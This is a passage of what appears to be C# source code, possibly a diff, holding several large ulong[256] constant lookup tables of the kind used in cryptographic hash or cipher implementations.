12125479410148983668uL, 17921053425751121547uL, 2600818822502173603uL, 18095853622957810961uL, 5457179844010077633uL, 104674322205155958uL, - 2459119713154539658uL, 10359563843775427405uL, 16481219104186197994uL, 8162692825194907375uL, 2847061296053530681uL, 17007385453270867581uL, 2429042753721621264uL, 15845690715266440311uL, 11504223637356675454uL, 14939902389728255105uL, - 15596543964592056301uL, 4291817720210491736uL, 4250406047929019182uL, 16835609371473809102uL, 6848231166907919671uL, 5722504929196957444uL, 13163410864325338105uL, 10169775613993200289uL, 14511240905997678504uL, 16428453455105502901uL, - 804576823300162061uL, 16952328422295033634uL, 10704308825032065907uL, 9209752147493311569uL, 11915204881515227728uL, 630314289831180695uL, 5090994841956713701uL, 15144339993900648342uL, 6320413364043601056uL, 4136912626218684596uL, - 3688671278293774543uL, 16325117494106688707uL, 7111516025665441606uL, 12019670279683559882uL, 4747430357904739770uL, 8503693248481660848uL - }, - new ulong[256] - { - 5022191610516858060uL, 12645839371960098056uL, 325196729119310435uL, 10544111738277527250uL, 17171723943877278631uL, 1619663718359036237uL, 18091587880400184708uL, 5335828035754758151uL, 11379178129143138841uL, 14648217640238887722uL, - 13086832364598786016uL, 15914535959731104950uL, 1287844858498292800uL, 16375051820953423571uL, 11583759697334954435uL, 550964732710513933uL, 8585995564513096669uL, 15686472308550713348uL, 13325075562694951572uL, 17630740042449523023uL, - 8916962000159598712uL, 14192583705586485217uL, 8560921352511315212uL, 7426955371667046732uL, 7096434795747339774uL, 2543027200294554449uL, 10419956338547081069uL, 5721517685081291957uL, 1937338776563641064uL, 13736071204485071176uL, - 17106932809158825161uL, 4899378514713126672uL, 14773093419524387062uL, 16698373717390806192uL, 3710095511616993728uL, 7340570904524980467uL, 5918098101825092432uL, 10804520625326298079uL, 9730090089577636081uL, 4697601972911171247uL, - 10480451310123618748uL, 5151346661287437683uL, 3331340938598661669uL, 9395203941325327427uL, 11242079635202581704uL, 2915854855682031097uL, 1492126639482712306uL, 6290138385502410722uL, 9851336768255988794uL, 1856873279258002822uL, - 5831708560246045423uL, 9075623880903535524uL, 8815370023405405865uL, 13167394464051894414uL, 4378109956818586891uL, 15006898764834764563uL, 17307241128934970156uL, 2668061343609997453uL, 15557224681013713438uL, 6825682518352077045uL, - 9524557205897875359uL, 8172884461239939073uL, 12192217863250075348uL, 4603827798664618597uL, 2867088101655710002uL, 8332998285759836606uL, 10671362497273609486uL, 4672530790940461182uL, 1134559637999613131uL, 3897488771451098482uL, - 10309743511802411319uL, 17673793229178945438uL, 16718005676701005947uL, 7221495326637043234uL, 16597347416266760801uL, 9272158342823316988uL, 7909827430729881909uL, 16002662719275707657uL, 14283453708927338078uL, 10869263363796925617uL, - 16345475348111384578uL, 137665338910158545uL, 12515539920715504823uL, 10988984776972674731uL, 6746265954835287963uL, 18257106040948926040uL, 17421816711713963517uL, 16919288509122574788uL, 17268808778493482358uL, 5838760703968564286uL, - 14031617523076498493uL, 780392312595241081uL, 18336540041995274550uL, 12842206973407828717uL, 13656722531824102950uL, 7015947325939974800uL, 3645098545556231953uL, 17884924832500353770uL, 17512690432282197058uL, 2066784160966486324uL, - 13412572121352667947uL, 2661572689932379740uL, 1033530071105264154uL, 12957343035395093564uL, 13868125990049039746uL, 3121291101747188375uL, 6662680657495023946uL, 4471231211228269748uL, 15424627025727239375uL, 12580275654379647961uL, - 4219404094166535895uL, 4762278602948970945uL, 9478790587773903506uL, 9898893830113671915uL, 14973264685418819913uL, 453876631214605276uL, 4407685011702703066uL, 6616899736578362439uL, 13003248198425336113uL, 12419015558860141158uL, - 7990341289637279323uL, 14442713494739508292uL, 11215801851269958085uL, 13332124370822523973uL, 1373724075619900927uL, 13783625232014225305uL, 15359939653945809825uL, 12751808085835111250uL, 6083572248920684684uL, 3484333688484746926uL, - 14521793786758034069uL, 11937786166553331057uL, 9139255992929895626uL, 10222251748408277128uL, 12255784141711061434uL, 2189202321390233739uL, 716843780901418775uL, 8359149623152811187uL, 2415494092048157422uL, 5243176795453837752uL, - 18210112488466909321uL, 4154687863979303353uL, 2272222198031926874uL, 8690072078618429206uL, 202427615156584895uL, 9639695198538801486uL, 18415623364178962407uL, 8942462418363155829uL, 907753262429150117uL, 11810680268281218733uL, - 7665181140788048952uL, 10898276329415234144uL, 3239326427400699802uL, 6868174095610514980uL, 3808219771792118989uL, 7543278091629671815uL, 9168270020997671451uL, 12392885120222240619uL, 968811775037617524uL, 16140326090467902424uL, - 584245825585813958uL, 15816256665709806011uL, 13531648566339513850uL, 8750568181363911111uL, 1698743779072106396uL, 0uL, 16943798148194031381uL, 8236472591980224367uL, 13209882775544247903uL, 4035151075898375075uL, - 10302693318479402982uL, 16855667680011982506uL, 1948891778265760825uL, 9719098429884157472uL, 11054545481701918842uL, 18085100094794517333uL, 390196158411648178uL, 6501762612143760022uL, 2496032298569901440uL, 6037175610368660865uL, - 12762796728381896067uL, 14204135840323823920uL, 16148186350413554109uL, 17041934512146922008uL, 4925668384127994397uL, 12167143351085101061uL, 6410254435445760809uL, 15330361267764327792uL, 14853624750388125592uL, 6421246412478107128uL, - 10056755301905365844uL, 17754265602204553456uL, 15589384456651501269uL, 3832728561082858012uL, 1367237356757087022uL, 15171532294165509804uL, 5272189459801538409uL, 3250881896629883211uL, 8001331881476413578uL, 6968391399550921793uL, - 15232592138832550013uL, 809969847888836264uL, 11442741800557897079uL, 11677520222457276540uL, 16472678002634826718uL, 11836194988174371744uL, 15751256438176362346uL, 14766608101443821095uL, 3078237133952334918uL, 11467814949005020070uL, - 13951147765685021523uL, 12061945554227725518uL, 3445914570843754740uL, 6242581091097786675uL, 16533735384072260879uL, 1539119056502398499uL, 7794692769390540772uL, 1168206872894059153uL, 15939048079214002791uL, 226938317788999534uL, - 7419906245093191581uL, 10103172840323946073uL, 3581420404919564415uL, 10645700449263505411uL, 7585766634561542998uL, 2998877762491110184uL, 7174951347083690799uL, 8107322624236560080uL, 13578204632486592759uL, 5494625981129708507uL, - 8496251452686250594uL, 5596216022932782346uL, 5661024595188978276uL, 2747447103066187747uL, 16280780971239378796uL, 15107926451017931202uL, 14398026278718810255uL, 9978235489092097413uL, 5085786205181774754uL, 4053661314365738856uL, - 2109836211124176869uL, 2336412667751326783uL, 11612775692986304274uL, 9314648022329008941uL, 17501136362727821971uL, 1742301027778505559uL, 14601226005391810043uL, 7748764524654516969uL, 18004566148294681659uL, 5468987013722291926uL, - 6162091280534394461uL, 4280460676255686662uL, 12001449201751239199uL, 17837288741426265633uL, 14074668225098984172uL, 11119279424363751188uL - }, - new ulong[256] - { - 412778415529865760uL, 3577342882794069583uL, 12805512713741006036uL, 10086389182405830274uL, 9631348414619490491uL, 11029226397073373641uL, 11627792458048644653uL, 8540370589362648094uL, 17925746536371200188uL, 13719614496949379764uL, - 7380585705851070183uL, 5532990722829248072uL, 10754888447158766146uL, 2363770411641709807uL, 4799219136276863089uL, 886827555711267723uL, 14761170299289685203uL, 10870602893012709289uL, 14053970170398186163uL, 15159452414945845267uL, - 152494743391849906uL, 14797380007077078154uL, 12067788661428416998uL, 3618765265895209892uL, 16730148953297482309uL, 6638666397703976113uL, 6746862217775881448uL, 12434579095834639871uL, 6325409020385589416uL, 11881705736862929933uL, - 4058193356686090212uL, 7086287341885701278uL, 15674826541200387082uL, 10483145580681646139uL, 11728250915792503750uL, 16457218618247725518uL, 17804566359647483612uL, 9778627006082503945uL, 12613833228843374612uL, 12973791078126503668uL, - 3891946276334412253uL, 15267727468379129930uL, 17962016790450440421uL, 8437586805018431989uL, 10621274027794111881uL, 11432405351048939099uL, 5716202677831336867uL, 3243582143937888061uL, 15866832917474188842uL, 16875173606078234615uL, - 2399609570378190006uL, 7345426154655236876uL, 7619693495944769671uL, 15822815208912544184uL, 15130995325890332152uL, 9371659578628761385uL, 7194324827586368711uL, 4309013456660281871uL, 10250322826443576482uL, 4166240605864818621uL, - 1366177816882650955uL, 12337542112347144813uL, 6217414342487101681uL, 7783606731388437159uL, 17120176822620799077uL, 9037712741102696455uL, 17012341578268600380uL, 16118235504218274753uL, 8304362858347251262uL, 8707177795482651175uL, - 15023151349731995041uL, 13385369152941776166uL, 16304327354866472453uL, 10358449395342638331uL, 18075424330969541902uL, 11764513330537491359uL, 11174112167783249019uL, 11138113584220445730uL, 1945973140213898976uL, 4200834197375652438uL, - 5435457027409418714uL, 7756135292223372597uL, 16717045777202619429uL, 2508515451320396125uL, 9523284449426682082uL, 14317999436018362515uL, 609168629503044082uL, 3755788431048666223uL, 17152592151573603726uL, 5399380291345002883uL, - 12301351165578275380uL, 12189559766827372511uL, 8884253657276313548uL, 7648167075477099884uL, 1809525021741863762uL, 6185017703168619802uL, 14510683649402109683uL, 2064551487375270258uL, 16010179378360767384uL, 3469367101608228374uL, - 1536322983539794137uL, 5796100959046534970uL, 1773386847580617483uL, 108346540153546841uL, 9001722862285623390uL, 2544785687349641476uL, 17260840743582043607uL, 551619354788593554uL, 16565125331131263383uL, 6486896028513362810uL, - 13119530067680070470uL, 717443701121057195uL, 2214371934970162368uL, 13227357483453784863uL, 1140410460104840800uL, 7488913346602372798uL, 13429536041485875405uL, 16412374620625092188uL, 994812197283306450uL, 10114437580603988240uL, - 2804228341285155620uL, 260410206251574763uL, 11468694089796595202uL, 12153782305157883782uL, 4835367340339408936uL, 14935941453496953144uL, 6348897592219414216uL, 13580632830920879878uL, 10447068863337265250uL, 2250650893928301721uL, - 7511575676904462558uL, 10993078211198701968uL, 15566911097060688979uL, 443413779826989003uL, 16983149403301320622uL, 16608725716676480124uL, 1500526641193339008uL, 8152292870049500044uL, 9978535451240877787uL, 11591943528381025908uL, - 12470629360879408550uL, 858245894210178073uL, 10222432276826665289uL, 13827511182212795117uL, 15446122921225714282uL, 8743440194190385790uL, 1218336215312585465uL, 1032276353674575417uL, 14900145093364744545uL, 18402470457342123822uL, - 10906820163225880560uL, 5903954706119241571uL, 3395223664118723215uL, 5940852870679710344uL, 12577914836476031053uL, 4685830293981560218uL, 12946605235894991206uL, 9228745979626367643uL, 11917827469888011348uL, 17379906352690864407uL, - 9183300283681142197uL, 4649831692234020291uL, 9147178532201324012uL, 15296022985070163928uL, 17486629686828287228uL, 0uL, 6898510060154343770uL, 1643589765241144626uL, 12697544478944746637uL, 1402114711967872786uL, - 13537723148088938644uL, 9937131744855075632uL, 4353588900056941981uL, 14172271166703691041uL, 5292673456375059560uL, 14626957485788666648uL, 15714468687486372321uL, 9828864528591782761uL, 3999781539141355908uL, 11292166047742839785uL, - 15554107579106054707uL, 12031798801067137471uL, 11328023846638773168uL, 6049120102845506257uL, 7933416458737094421uL, 4461908978498334148uL, 6790446112744143107uL, 3726873057198478333uL, 7237529453753559893uL, 3864037041512891446uL, - 7046626506133690741uL, 304722305440127609uL, 18266442068824101532uL, 14208550143986027896uL, 2934657069911674141uL, 6076891152586415427uL, 14663026374551417665uL, 4953135073593642938uL, 5569207977274658321uL, 4501008218251986991uL, - 4608914949056012406uL, 14017832012144685802uL, 4989423796032989155uL, 10719102116777386523uL, 3207522108247185252uL, 17522399594662456485uL, 3108845752482162934uL, 12838487398799446335uL, 5256746322603637809uL, 3359313093287303894uL, - 1679799455245938027uL, 5680416363222969338uL, 10585346912750056912uL, 5089304188877242888uL, 5125161971465923153uL, 2663698829192085142uL, 17343705367582804302uL, 18366341168314316663uL, 2840208181611518845uL, 13688960456037058399uL, - 6456820608799639185uL, 7891434163331525374uL, 8401668394735843756uL, 16166056177409219511uL, 3072644785963581615uL, 17657281445989989230uL, 9479582578768039792uL, 13876877822288985944uL, 8268585413250313831uL, 1254405120516291232uL, - 1909966976157497017uL, 8848404743649085333uL, 14353865065657041098uL, 9670431168224853328uL, 17768506339595050629uL, 16838256760641149468uL, 8116101939860513749uL, 750401899863958592uL, 13277331648651621759uL, 6938439418119057708uL, - 6595232530173053731uL, 16274235453266392046uL, 2970426959157404996uL, 14474746770758882986uL, 13082049433730969261uL, 9337082464844055234uL, 15404157107807690625uL, 18230462244674452165uL, 8576420872327912519uL, 2100417098697099563uL, - 18111263507761251671uL, 15975038508208797299uL, 2699828134389257935uL, 8041674830518265676uL, 13912883970442876673uL, 17621370890793685815uL - }, - new ulong[256] - { - 4535860555263248921uL, 16852860281346875951uL, 6140263643322089338uL, 11478926500824812339uL, 9378015351203239756uL, 13327564710645084082uL, 14720227639147585363uL, 3976828915743059002uL, 10848963853955034384uL, 1674533312481288529uL, - 12560205794591624211uL, 18251760262641326195uL, 1971238590622152549uL, 3457832774275448914uL, 16150883333172724748uL, 11794428727689681111uL, 4727861667757458726uL, 18086103234836705689uL, 258683541723454221uL, 14234423747971299696uL, - 13746687986412618920uL, 2233564259985426290uL, 1378062126584976310uL, 595850907021173971uL, 1148729542089166137uL, 7220711707371485274uL, 4275768676387371534uL, 3496324401055548880uL, 5165544922527804988uL, 17490393461649265994uL, - 8412095690608439521uL, 14978908882929042526uL, 16577882496662810390uL, 8847930418030264104uL, 3309372870217980335uL, 12420682712621503982uL, 15313638727721349947uL, 4387469920445666276uL, 15069308889790759724uL, 7765336488733668707uL, - 7626271911434349726uL, 11162557623114971940uL, 14550225336477740868uL, 15462274553512913606uL, 14126703745409497984uL, 4089712366057758979uL, 2084822880951770767uL, 15217945823675505361uL, 15628305894032057615uL, 12769693467676363153uL, - 8115270375799669254uL, 5758785072471788271uL, 17025131558859428408uL, 6401431119593581502uL, 2607396063788253068uL, 149165799264492029uL, 10429296302893549066uL, 10743412135794079261uL, 11655258597668356394uL, 3161051439931945653uL, - 2862129545546507393uL, 12732210800733670241uL, 1786865009825524840uL, 15183877174701053985uL, 3531814185980970784uL, 1489042636343605852uL, 7953372014297400692uL, 4127379132466308083uL, 703148615521134115uL, 3051392466055327813uL, - 8884721462095101400uL, 10883429997862481888uL, 8288941250235652363uL, 18364623810490598270uL, 2902931453887900088uL, 8254758264932555771uL, 446716860198103834uL, 6435790520947517774uL, 13467158152785180239uL, 14590483660463305801uL, - 9043176952977856194uL, 5945702658036389520uL, 5618980515518141202uL, 10464882797601703162uL, 15944691810401457432uL, 4424111993825693972uL, 13996955283450564762uL, 15498010045204162614uL, 15034711375462777308uL, 2457938976092230806uL, - 17280995377108044085uL, 1042563110803492809uL, 14698967823614015161uL, 1000057432295396548uL, 298081034413880039uL, 17972098505603721876uL, 9182311907627011903uL, 4237995257073580286uL, 7360269973856297383uL, 13151329901121790075uL, - 12073241782278564400uL, 14383131042028101773uL, 6575665438039683251uL, 6873491385755763284uL, 5461089107914913800uL, 14868969018190677678uL, 10359842278252856200uL, 9238174518821588657uL, 17527071737039935418uL, 13502357048437945535uL, - 15348847553065546187uL, 11339121943878505166uL, 9517911241040346198uL, 9971396702494946207uL, 4759102407226695211uL, 17378647008906169927uL, 8551269127753525532uL, 3200854107087625055uL, 18216411296800512643uL, 2268055074172700034uL, - 17342145754611272887uL, 16259542889635186428uL, 7467557820838912855uL, 5842407176390331805uL, 13781293231417820760uL, 11545326463606686682uL, 406460662087397399uL, 12248428481276306937uL, 2713878548564622716uL, 15813794323767901698uL, - 12909252825081827436uL, 16687682160775540198uL, 13363292471131286850uL, 16093363920219344101uL, 17173522193701129157uL, 1340149631943889222uL, 17937642222676617316uL, 13187698676877812363uL, 13848249080340613479uL, 10604652161736989959uL, - 8063408691889325956uL, 2565552841162102374uL, 4619087852284151766uL, 5214791045043151621uL, 11825258692200411453uL, 8447401294454977041uL, 11060374817020715049uL, 2118998135578172543uL, 18400220166708232590uL, 1638138058256147361uL, - 11933752785043076045uL, 11022751975238574809uL, 7923814141646626425uL, 8745197289204327461uL, 10251172860281438584uL, 110046607829271280uL, 17001249825241725906uL, 13607620101989539157uL, 12527281127159060254uL, 852275931467612126uL, - 12280242513132584692uL, 6838009262779170980uL, 17658513533341858976uL, 1935925255570044309uL, 16894801472302283042uL, 0uL, 9624367324648619686uL, 5055648419791580364uL, 744521925918424366uL, 8708792173461317333uL, - 3012835619118082888uL, 2417128113004220315uL, 1525826018450700460uL, 9485585257278707132uL, 14103543837016167018uL, 11442415316829571523uL, 555623154201897450uL, 9144795202799799759uL, 3942477176883605194uL, 9657855435820246443uL, - 18120314326393467753uL, 5511376580148613602uL, 15664667007830861823uL, 2755821882842654321uL, 7814304129864883337uL, 5354596692910111480uL, 15776976912903093490uL, 6280103384783087239uL, 1191443428809820347uL, 9831487700257630818uL, - 3349066620751495842uL, 7030425627006208077uL, 12141104268537423625uL, 15906742984900188136uL, 17132709196148330696uL, 11964432129338157248uL, 13954451705047518103uL, 4572398174778067177uL, 11684814352765786663uL, 12387952654176517124uL, - 17620705939241991760uL, 6698133237560285529uL, 6924249334748056253uL, 4915877947555788081uL, 10111296835088767109uL, 13048598907028568950uL, 893432504920462900uL, 13011771634646415750uL, 11302435937273876542uL, 3644679859973545005uL, - 1822496103478537880uL, 4867631031866531035uL, 11200357486546532820uL, 9345637772528684097uL, 16055873590790557205uL, 5651355959728424991uL, 6102500154237255050uL, 5321106438415311349uL, 12666416081784098531uL, 17769131758322608045uL, - 6541340121823556163uL, 10219929968899119733uL, 9941277503389493394uL, 14829851944308301219uL, 5982354661116236896uL, 7656949129855104915uL, 6733579076392590249uL, 16299238792081284593uL, 6242444349043369079uL, 14275799167331476093uL, - 16539327809960162331uL, 10709193381743359213uL, 7063352394543305536uL, 7169984984404332976uL, 10081152420505776495uL, 5805861825662078829uL, 16746518581295898847uL, 9005272120822338610uL, 14441423414742904244uL, 8149771120223764726uL, - 16429564429454849771uL, 10569310857845530615uL, 12871313860553036444uL, 2309691269046898027uL, 3794159109699761975uL, 16407864263942807297uL, 5025527060452063169uL, 17806764530333181277uL, 7517355687739125358uL, 7328458050963454634uL, - 8586890291714583532uL, 9764207066100180827uL, 1228969994608986699uL, 3680135560314805981uL, 13641698681201336229uL, 3828474564935022023uL - }, - new ulong[256] - { - 9993673838465935981uL, 4884127456122942266uL, 633234397777501925uL, 4175331866391974078uL, 13960862214643959730uL, 3179702086296496554uL, 16933906489121384602uL, 10694170786544668381uL, 2821567796802171918uL, 10017225945983459410uL, - 8620367719189969058uL, 11912340740684202118uL, 2483193514877514189uL, 15820547210744392958uL, 6709821147687032714uL, 1033155461149792359uL, 17176581185527344473uL, 12676916669343913757uL, 7895548116537857006uL, 17715094920495729706uL, - 17733400074663874411uL, 10798980099858302178uL, 17017586219309622311uL, 14869918229733283306uL, 14186578078356341361uL, 5087312367917758201uL, 4403136284925796162uL, 11445060531346954566uL, 3775805186400799640uL, 7039684027147830007uL, - 14348961028615061808uL, 9697319919564979060uL, 9738807224246382923uL, 15223411982051930651uL, 7393281011622612554uL, 14606960238789696022uL, 11882147622572427961uL, 4010248068099147993uL, 1391157335655481238uL, 9401574542884107400uL, - 4570854599768479292uL, 10257649927482729873uL, 6677411409753660853uL, 1869614486838700045uL, 2692552123250949488uL, 5803321545042218156uL, 2939237684151739990uL, 12563222234819403042uL, 979419644422445862uL, 3673082354135452954uL, - 11533447497148368197uL, 18030958354471640690uL, 17612545135863809557uL, 8160101394646269472uL, 8665997893524695802uL, 13625616718215733940uL, 18235386795261924047uL, 5384800866856167392uL, 12916723256358730451uL, 13592733055320369291uL, - 1572125733959825684uL, 16319952048648813632uL, 5756880660441440803uL, 9141459606454807672uL, 5643134515567552540uL, 16615690806985356220uL, 3878345071173861799uL, 9227030292403715574uL, 2223083610095396016uL, 7793025783231257041uL, - 270525564056519489uL, 17847006580419200340uL, 14816163592450856619uL, 14466615231819486056uL, 15073980746734173029uL, 2096675571659106289uL, 15724638447412750017uL, 11654178806006959994uL, 10463964225571785502uL, 3546709370140069467uL, - 15706368347685578112uL, 177299642257213822uL, 5128824965654363334uL, 3284371762775499669uL, 13419641178229583369uL, 16654934045169170819uL, 18403114047913597873uL, 14517143817528858967uL, 14108395695510474444uL, 11707930154007137339uL, - 11096530083400914427uL, 1469770529583346475uL, 16266162354777931521uL, 8788550027033796805uL, 7435101501630170229uL, 14015179664977724659uL, 7273261710249789236uL, 17122228403727216152uL, 18126471264669209677uL, 4054715969654905473uL, - 7599903567200476178uL, 5246485543787097758uL, 2066061333143563726uL, 8899911909190592955uL, 11318703078624401927uL, 6203347905963379246uL, 13279357838919968631uL, 8982737327710905606uL, 12768987285517661101uL, 4733860583378205252uL, - 8385890890472733667uL, 9576385652165374474uL, 1983784429268132211uL, 1144615724587504216uL, 9497500870535659191uL, 874653248460230937uL, 8806272569836118916uL, 13123279255654448912uL, 8490507753801150940uL, 4996983704035276216uL, - 15899414662248931395uL, 10203863540057188048uL, 3101674511553930519uL, 8063548039483480720uL, 2782314667368316465uL, 7188904195392064393uL, 13234879149618951471uL, 9015613289737121593uL, 12161612559689161632uL, 6918945025995344072uL, - 10371370779234316206uL, 6314684983379722257uL, 18205211228616546544uL, 516733887222336701uL, 5295035016025023649uL, 4372970618206377341uL, 1367579971541251497uL, 16771488207379590107uL, 4788193436127426821uL, 10413312453672812833uL, - 16525909700027724029uL, 8286510523341552993uL, 4528946180991933443uL, 17331684625243261417uL, 354332099228667900uL, 1703685653761847402uL, 16413616708890474111uL, 17892572632091416332uL, 1749306493112033842uL, 6593587578816598280uL, - 15307631993767476902uL, 3696774096474081061uL, 6359145787360465481uL, 13751446413401596405uL, 7551609152712119853uL, 15025544492090470746uL, 18361178145650889102uL, 5408360666650553823uL, 1887903149406137164uL, 11803390319907948036uL, - 1193308391354416343uL, 12323998817483741409uL, 7714012032021747052uL, 17506448615360610455uL, 3338705706857455828uL, 0uL, 14628435370100609065uL, 16493078850282879682uL, 8307846011238545246uL, 7949845912698622127uL, - 123000737600621119uL, 14981351001126100949uL, 3896669045897085670uL, 1241734746156300008uL, 3450192318869875435uL, 16822271919490900452uL, 773588076271081371uL, 13000385682190022254uL, 4966387029739569031uL, 12002158269635560391uL, - 9180589562619618887uL, 10928066111586602396uL, 15930056384200567420uL, 14219030733708445774uL, 9855367461831697171uL, 5589364474795928413uL, 12718291570760726930uL, 13105010246454705233uL, 9347225068603062217uL, 12895380067559026924uL, - 795073098915667364uL, 17380094451920307158uL, 12508908074841628259uL, 7690267545386164051uL, 2659693781377578831uL, 13401935256959085896uL, 10589758866316740703uL, 6500344023943830327uL, 16056445859796592957uL, 13837888969188904333uL, - 13513288218419651638uL, 1589851584549665365uL, 2429422383846896268uL, 6482023338771290230uL, 15410014681647150233uL, 6185590308720085359uL, 12209899281950724511uL, 9606974634150672437uL, 6080806279852835664uL, 2576885667214146546uL, - 11484734779036570489uL, 6001208834408615917uL, 6836195239104500939uL, 12406411034606736476uL, 15541565663606373863uL, 3080356643708727080uL, 15586050454049992639uL, 2306958247692105907uL, 12043971067315669496uL, 477155333442143874uL, - 14711407087855869076uL, 386794645880882627uL, 7093418736453091766uL, 4288595764497750464uL, 15199807134400952356uL, 5979776620583929298uL, 14309409966946880271uL, 16143708109906736446uL, 7303480121366170891uL, 10973644831137980356uL, - 16912616113304036005uL, 11114834129878537914uL, 11286268056177528888uL, 5486956530453307746uL, 16097845240139637506uL, 13790601654062869450uL, 10611216364554256992uL, 683790475565323482uL, 10101463287957875951uL, 8109430964352234527uL, - 4193092754259694591uL, 4613640514157211771uL, 6875861785975561972uL, 2264473090495966863uL, 18013216012281093427uL, 3498327026982732900uL, 9903891640980875564uL, 15427721694518818776uL, 17288057906222606182uL, 10816721333284587427uL, - 12300279623953421022uL, 8508793109654811293uL, 5853965616021964435uL, 17530150257591650984uL, 11208102969231252613uL, 2990031287613762665uL - }, - new ulong[256] - { - 9094991057681989827uL, 8606138803235823195uL, 16160543087529014701uL, 9722527943682365778uL, 16797595215276895029uL, 4026406244121087995uL, 10810880735842556538uL, 793466831469952157uL, 17570873574801040652uL, 7069806061322532341uL, - 9025437343642800970uL, 7902240744518357090uL, 11483956163069641954uL, 17042883494617269171uL, 169507756355412485uL, 12159611706920405785uL, 18050581113201408916uL, 13094669269567229859uL, 8708198706664012748uL, 16371399438833100324uL, - 14361924315882092926uL, 1669125631761648043uL, 14039613357159666168uL, 6740073072435942682uL, 9627137974267120347uL, 2010954567078870965uL, 17744533894276238730uL, 15208954621100286812uL, 734067863229058321uL, 16730891229222345401uL, - 11666396599453668737uL, 17212276558031167926uL, 17506990798142313600uL, 919214179616323102uL, 13610264944790049083uL, 3253262042600145346uL, 8178958160323126612uL, 3337947751052939851uL, 18012048573685573661uL, 11417239120312989038uL, - 14850353257827313638uL, 1052577896389186587uL, 2193586592470914867uL, 2442179127876909020uL, 14667795724615946080uL, 10275106697555981894uL, 5137708932055784227uL, 12218975353350290069uL, 10142868812109927491uL, 4815958689639822245uL, - 84753878177706380uL, 6315843737766598667uL, 18382000460611982098uL, 3871579785502944766uL, 14543332760762117477uL, 5793075969118851720uL, 249718177605522313uL, 10016556418199002816uL, 17931853270716930449uL, 5498396982908774334uL, - 12758117762690160297uL, 7667703386526505697uL, 16683173451180408622uL, 9308406252338238417uL, 18135310527241439768uL, 1929022448056995385uL, 1586665506641377319uL, 11971724948115332866uL, 8445678447034858590uL, 7274058453835599610uL, - 2629305166521655130uL, 15808997092930047048uL, 8787833086900898368uL, 1545819354008644526uL, 3789645467455986802uL, 5856993792710681348uL, 17343191981176845957uL, 2091361543251510458uL, 7459518732372467059uL, 7397325080452181247uL, - 15335405622202837471uL, 4059487177496226412uL, 559362848516098691uL, 3155811880282733261uL, 339015512710764810uL, 499436355210984207uL, 4260721118560188901uL, 673503137787469464uL, 15081211333024874841uL, 4141949501641595872uL, - 9781889391086627038uL, 12476916589205824415uL, 5626135598191838651uL, 15420137235268491347uL, 11586150856392483853uL, 14798864416891614319uL, 9563233069935360855uL, 16068176052423353550uL, 5444143179324534077uL, 11152674838723308644uL, - 609631631123197716uL, 12923016366159787180uL, 5576337977799677490uL, 17125332349745738303uL, 17828665414509968390uL, 14295222528848431346uL, 4387173184941765478uL, 13364476147137460669uL, 13874622463430112253uL, 5708620050009289783uL, - 6430542613299891216uL, 15458737944500718554uL, 1851664366124113328uL, 13012174097513791023uL, 9392599482526842968uL, 10442066843459281269uL, 17402610465748322057uL, 10690912919127767167uL, 4978440652618840358uL, 4581695294717042927uL, - 13282578800170846257uL, 3091344129077791553uL, 7147744857192531065uL, 4652093626960253344uL, 17290252874733146170uL, 15016728463536386261uL, 9833286126441041225uL, 11912919544491543691uL, 16242464486312756257uL, 17589663661478784911uL, - 1346746777927262509uL, 15729327665759993284uL, 2259738658050909887uL, 6111753265489546114uL, 12645228008055390618uL, 16891355708455647420uL, 16563324312999238955uL, 12860835633502684448uL, 7729369582102031213uL, 8912221009216268357uL, - 4519477316101755235uL, 1281193087194051236uL, 15149005862685217488uL, 10355350241595738058uL, 8118974354974954712uL, 9897718555834973381uL, 8521442237103337431uL, 8066035438451585639uL, 4453855455643222762uL, 5377403871458974897uL, - 6345848246193028508uL, 6845086483143640723uL, 7988624098924168171uL, 8365446172989525458uL, 1467823520972380706uL, 2935396374752471364uL, 2813067799104965843uL, 10892780281834253302uL, 403485462937118854uL, 2688701935736925910uL, - 15963727550304450375uL, 14201530205386742651uL, 3468874151188153720uL, 13250621696684830118uL, 1132260792577222039uL, 0uL, 3535028415789053172uL, 2491459977799754837uL, 1003369614229768082uL, 6675627174024062102uL, - 2029743588748113206uL, 4729507165508558892uL, 3637180897245407101uL, 13952596581111186033uL, 1413426849607831713uL, 12561037251630870550uL, 15570063509623791553uL, 12397269289706770963uL, 2575613213387593177uL, 5320806183970131768uL, - 11314453079775012583uL, 3422699430205023175uL, 11852957454497512711uL, 11074756040358150125uL, 5071567999032830639uL, 16127596736020452674uL, 15899842574624294603uL, 12691402918954395429uL, 13406940540233951796uL, 16497147783287368871uL, - 14139300956777540343uL, 10637081362510967548uL, 10227584894573028815uL, 3173053820371464270uL, 15538935446490790486uL, 2362498430710285904uL, 4897844766612488745uL, 6236211556551125383uL, 9224217694939325021uL, 17669330889627426307uL, - 1774266358176803900uL, 10768348173029132787uL, 13484373595114429368uL, 8283899003267266269uL, 4916772258018216106uL, 16294021496973776808uL, 18249652692721135895uL, 14601621393924980460uL, 18317519790144905886uL, 9472244583004484052uL, - 14932272457585972842uL, 12314433492482058524uL, 2749198491462122847uL, 10503721769042972921uL, 8966051432100897478uL, 9158911080295248207uL, 14481701886997601513uL, 12036159576530677390uL, 6195919557778536974uL, 5258610333024763572uL, - 7340795562680270710uL, 7820356866570772974uL, 14721488674053178851uL, 13743694907000058686uL, 1218977307603845928uL, 13172660635703827498uL, 13676381963436941495uL, 5926479337025089677uL, 10996792780356243041uL, 11235172209801846248uL, - 9956596527230578508uL, 11798704853650126724uL, 16953587156089932080uL, 14122060013263036532uL, 11252270148092827499uL, 7508364738339027172uL, 6905068089466205983uL, 18189706133331673243uL, 3949006037152890487uL, 2995320669031979208uL, - 11713986572161402376uL, 5985863049541370113uL, 4182723086503020649uL, 7574503472341076328uL, 8348347100700559185uL, 8828052517901670857uL, 6506238233651847065uL, 6937453620375099376uL, 16621540378390793890uL, 3698801050773903089uL, - 15654197228883127885uL, 7019935873167451772uL, 10570962144843170672uL, 12378340595835246736uL, 13805347633558651570uL, 6586468308675751445uL - }, - new ulong[256] - { - 15001986890517004262uL, 1637721477308921125uL, 12149495623811231944uL, 7646921253694161755uL, 7930897700415732235uL, 7354091399752226219uL, 8517004666874317814uL, 5453187778286554101uL, 17402767330240624456uL, 14251910686351372799uL, - 10737788899373396171uL, 9883539568181426278uL, 12734457949266690357uL, 11623707008269186684uL, 10170823345874272566uL, 15471862682949014686uL, 3965582442916511115uL, 818990539008627868uL, 6511022660614307004uL, 17126666484504068069uL, - 15184024750296067534uL, 6797246517703968236uL, 2154964243676750265uL, 12492451583515533452uL, 3398770582681996406uL, 6305239209379988312uL, 4529647259392179007uL, 14544757854385923855uL, 9493043882612360686uL, 11962608485028754448uL, - 1169952615461543517uL, 